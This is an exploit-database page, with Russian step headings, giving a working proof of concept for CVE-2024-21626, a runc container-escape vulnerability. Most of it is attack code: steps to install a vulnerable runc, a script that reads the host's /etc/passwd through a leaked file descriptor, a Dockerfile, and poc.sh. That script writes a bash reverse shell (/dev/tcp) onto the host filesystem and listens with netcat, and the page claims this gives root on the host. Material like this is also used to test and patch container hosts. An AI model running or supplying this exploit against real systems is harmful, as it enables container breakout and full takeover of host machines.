Sploitus

Exploit for CVE-2024-21626

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN106 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUBERNETESBACHELOR-CVE-2024-21626
# CVE-2024-21626 POC

# ВрСбования

## runc 1.1.0 <= 1.1.11

# Установка уязвимой срСды

## Π Π°Π·Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ с Ubuntu 20.04 ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Docker, слСдуя ΠΈΡ… руководству

root@kitploit:~
    
    
    https://docs.docker.com/engine/install/ubuntu/
    

## Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΏΠ°Ρ‚Ρ‡Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ 'runc' Π² Docker Π½Π° ΡƒΡΠ·Π²ΠΈΠΌΡƒΡŽ

Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΡƒΡΠ·Π²ΠΈΠΌΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ (runc 1.1.11 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΡŽΡŽ) ΠΈΠ· рСпозитория runc Π½Π° GitHub: https://github.com/opencontainers/runc/releases  
Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ runc.amd64 (Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅) ![runc_1111](https://assets.kitploit.com/production/public/readmes/37386/de2b9f5a6f7a051d71146c326ddd7fb4362e48e68cd77159cc2f88ac4c63652e.png)

# Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ эксплойта

## ЗапуститС скрипт 'verify.sh'

root@kitploit:~
    
    
    #! /bin/bash
    for i in {4..20}; do
    	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
    /proc/self/cwd/../../../etc/passwd"
    done
    

![verify](https://assets.kitploit.com/production/public/readmes/37386/fd797a1205528cbe920ea35388e7770b61190682fef200423817da04012e5884.png)

## Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ Π² Dockerfile Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹ΠΉ дСскриптор, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ verify.sh

root@kitploit:~
    
    
    FROM ubuntu:20.04
    RUN apt-get update -y && apt-get install netcat -y
    ADD ./poc.sh /poc.sh
    WORKDIR /proc/self/fd/9
    

## Π‘ΠΎΠ±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€

root@kitploit:~
    
    
    docker build . -t name_of_container
    

## poc.sh

root@kitploit:~
    
    
    #!/bin/bash
    ip=$(hostname -I | awk '{print $1}')
    port=1337
    cat > /proc/self/cwd/../../../bin/bash.copy << EOF
    #!/bin/bash
    bash -i >& /dev/tcp/$ip/$port 0>&1
    EOF
    
    # ΡΠ»ΡƒΡˆΠ°Π΅ΠΌ ΠΈ ΠΆΠ΄Π΅ΠΌ Ρ€Π΅Π²Π΅Ρ€ΡΠΈΠ²Π½ΡƒΡŽ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΡƒ
    nc -lvvp 1337
    

## ЗапуститС ΠΎΠ±Ρ€Π°Π· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ poc.sh Π² bash-ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ΅

root@kitploit:~
    
    
    docker run -it --rm cve2024 bash /poc.sh
    

## ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π΅ΠΆΠΈΠΌ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΡ

![lytte](https://assets.kitploit.com/production/public/readmes/37386/c29acab0705849e55df4eff13858a774162e785df00c9820351f34d34ff62929.png)

## На хост-машинС Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Π±Ρ‹Π» создан Π½ΠΎΠ²Ρ‹ΠΉ скрипт с ΠΈΠΌΠ΅Π½Π΅ΠΌ 'bash.copy' Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ `/proc/self/cwd/../../../bin/`

![bash](https://assets.kitploit.com/production/public/readmes/37386/82313878797f8984b80879d39a279f04f18292cb4b5c9f373557328a9129e7af.png)

## Π‘Π΄Π΅Π»Π°Π² скрипт исполняСмым ΠΈ запустив Π΅Π³ΠΎ...

root@kitploit:~
    
    
    chmod +x bash.copy
    ./bash.copy
    

## ... Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Ρ€Π΅Π²Π΅Ρ€ΡΠΈΠ²Π½ΡƒΡŽ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΡƒ с привилСгиями root Π½Π° хост-машинС

![root](https://assets.kitploit.com/production/public/readmes/37386/59ee86e665ab0d79fe6f04e343aa2927fcd5881b76f126703117beb383677be5.png)

# Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0